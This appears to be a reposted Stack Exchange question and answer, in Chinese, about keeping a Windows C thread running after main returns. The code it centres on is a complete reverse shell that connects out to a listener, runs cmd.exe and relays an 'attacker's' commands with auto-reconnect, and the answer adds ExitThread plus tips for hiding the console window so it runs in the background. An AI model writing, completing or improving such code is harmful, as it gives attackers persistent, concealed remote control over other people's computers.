Windows平台下C语言如何让主线程结束后子线程持续运行?
问题描述
我正在开发一个Windows平台的C项目,需要创建一个独立于main函数的线程,目标是确保该线程在main函数执行完成后仍能保持活跃。
核心代码
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") void start_shell_process(SOCKET sockfd); DWORD WINAPI connect_back(LPVOID lpParam) { WSADATA wsa; SOCKET sockfd; struct sockaddr_in servaddr; // Initialize Winsock if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("Failed to initialize Winsock. Error Code: %d\n", WSAGetLastError()); return 1; } // Initialize socket sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd == INVALID_SOCKET) { printf("Socket creation failed. Error Code: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // Set up server address servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Use localhost for testing servaddr.sin_port = htons(4444); // Port should match the attacker's listening port // Connect to the server while (connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) != 0) { printf("Connection with the server failed. Retrying... Error Code: %d\n", WSAGetLastError()); Sleep(5000); // Retry after 5 seconds } printf("Connection established with the server.\n"); // Start the initial shell process start_shell_process(sockfd); closesocket(sockfd); WSACleanup(); return 0; } void start_shell_process(SOCKET sockfd) { // Create a pipe for the child process's STDOUT. HANDLE g_hChildStd_OUT_Rd = NULL; HANDLE g_hChildStd_OUT_Wr = NULL; SECURITY_ATTRIBUTES saAttr; saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) { printf("Stdout pipe creation failed.\n"); return; } if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) { printf("Stdout pipe SetHandleInformation failed.\n"); return; } // Create a pipe for the child process's STDIN. HANDLE g_hChildStd_IN_Rd = NULL; HANDLE g_hChildStd_IN_Wr = NULL; if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) { printf("Stdin pipe creation failed.\n"); return; } if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) { printf("Stdin pipe SetHandleInformation failed.\n"); return; } // Create the child process. PROCESS_INFORMATION piProcInfo; STARTUPINFO siStartInfo; ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&siStartInfo, sizeof(STARTUPINFO)); siStartInfo.cb = sizeof(STARTUPINFO); siStartInfo.hStdError = g_hChildStd_OUT_Wr; siStartInfo.hStdOutput = g_hChildStd_OUT_Wr; siStartInfo.hStdInput = g_hChildStd_IN_Rd; siStartInfo.dwFlags |= STARTF_USESTDHANDLES; // Create the shell process if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &siStartInfo, &piProcInfo)) { printf("CreateProcess failed. Error Code: %d\n", GetLastError()); return; } // Close handles to the stdin and stdout pipes no longer needed by the parent process. // If they are not explicitly closed, there is no way to recognize that the child process has ended. CloseHandle(g_hChildStd_OUT_Wr); CloseHandle(g_hChildStd_IN_Rd); char buffer[1024]; DWORD bytesRead, bytesAvailable, bytesWritten; // Clear the initial output from the shell process while (1) { if (!PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL) || bytesAvailable == 0) { Sleep(50); // Briefly wait for data to become available continue; } if (!ReadFile(g_hChildStd_OUT_Rd, buffer, sizeof(buffer) - 1, &bytesRead, NULL) || bytesRead == 0) break; buffer[bytesRead] = '\0'; if (bytesRead < sizeof(buffer) - 1) break; } while (1) { // Receive command from attacker int bytes_received = recv(sockfd, buffer, sizeof(buffer) - 1, 0); if (bytes_received <= 0) { printf("Connection closed by attacker. Retrying...\n"); Sleep(5000); // Retry after 5 seconds connect_back(NULL); // Reconnect return; } buffer[bytes_received] = '\0'; // Strip trailing newline and carriage return characters buffer[strcspn(buffer, "\r\n")] = '\0'; // Check for the special command to start a new shell process if (strcmp(buffer, "new") == 0) { // Send a message back to the attacker const char* new_shell_msg = "new shell initiated\n"; send(sockfd, new_shell_msg, strlen(new_shell_msg), 0); // Clean up the current shell process before starting a new one TerminateProcess(piProcInfo.hProcess, 0); CloseHandle(piProcInfo.hProcess); CloseHandle(piProcInfo.hThread); // Send end of output indicator before starting new shell const char* end_marker = "[END_OF_OUTPUT]"; send(sockfd, end_marker, strlen(end_marker), 0); start_shell_process(sockfd); return; } // Write command to child's STDIN WriteFile(g_hChildStd_IN_Wr, buffer, bytes_received, &bytesWritten, NULL); WriteFile(g_hChildStd_IN_Wr, "\n", 1, &bytesWritten, NULL); // Read from child's STDOUT while (1) { if (!PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL) || bytesAvailable == 0) { Sleep(50); // Briefly wait for data to become available continue; } if (!ReadFile(g_hChildStd_OUT_Rd, buffer, sizeof(buffer) - 1, &bytesRead, NULL) || bytesRead == 0) break; buffer[bytesRead] = '\0'; send(sockfd, buffer, bytesRead, 0); if (bytesRead < sizeof(buffer) - 1) break; } // Send end of output indicator const char* end_marker = "[END_OF_OUTPUT]"; send(sockfd, end_marker, strlen(end_marker), 0); } // Clean up CloseHandle(piProcInfo.hProcess); CloseHandle(piProcInfo.hThread); CloseHandle(g_hChildStd_OUT_Rd); CloseHandle(g_hChildStd_IN_Wr); } int main() { // Create a new thread for the connect_back function HANDLE thread = CreateThread(NULL, 0, connect_back, NULL, 0, NULL); if (thread) { // Detach the thread to ensure it runs independently CloseHandle(thread); } else { printf("Failed to create thread.\n"); } // Main program ends here, but the thread continues to run return 0; }
已尝试方案
- 创建线程:使用
CreateThread启动connect_back函数所在的独立线程。 - 分离线程:调用
CloseHandle关闭线程句柄以实现分离。
当前问题
线程似乎在main函数结束后立即退出,需要该线程独立于main函数的生命周期持续运行。查阅类似问题的解决方案,但pthread_exit并不适用于Windows环境。
解决方案
问题根源
Windows平台下,当main函数执行return时,C运行时会自动调用ExitProcess函数,直接终止整个进程,进程内所有线程都会被强制结束,无论线程是否还在运行。调用CloseHandle只是释放线程句柄,并不会改变线程的生命周期,因此无法阻止进程终止导致的线程退出。
实现方法
让主线程通过ExitThread函数终止自身,而非使用return。ExitThread只会终止当前线程(主线程),进程会继续存在,直到所有其他线程都执行完毕。
修改后的main函数代码:
int main() { HANDLE thread = CreateThread(NULL, 0, connect_back, NULL, 0, NULL); if (thread) { CloseHandle(thread); } else { printf("Failed to create thread.\n"); // 创建失败时正常退出进程 return 1; } // 终止主线程但不结束整个进程 ExitThread(0); // 以下代码不会执行,仅为符合函数返回值要求保留 return 0; }
额外说明
如果是控制台程序,主线程终止后控制台窗口可能会自动关闭,但后台线程仍会继续运行。若需要隐藏控制台窗口或让程序完全后台运行,可以在创建进程时设置CREATE_NO_WINDOW标志,或者将程序编译为Windows应用程序(而非控制台应用程序)。
内容的提问来源于stack exchange,提问作者madeline
相关产品推荐
相关产品推荐

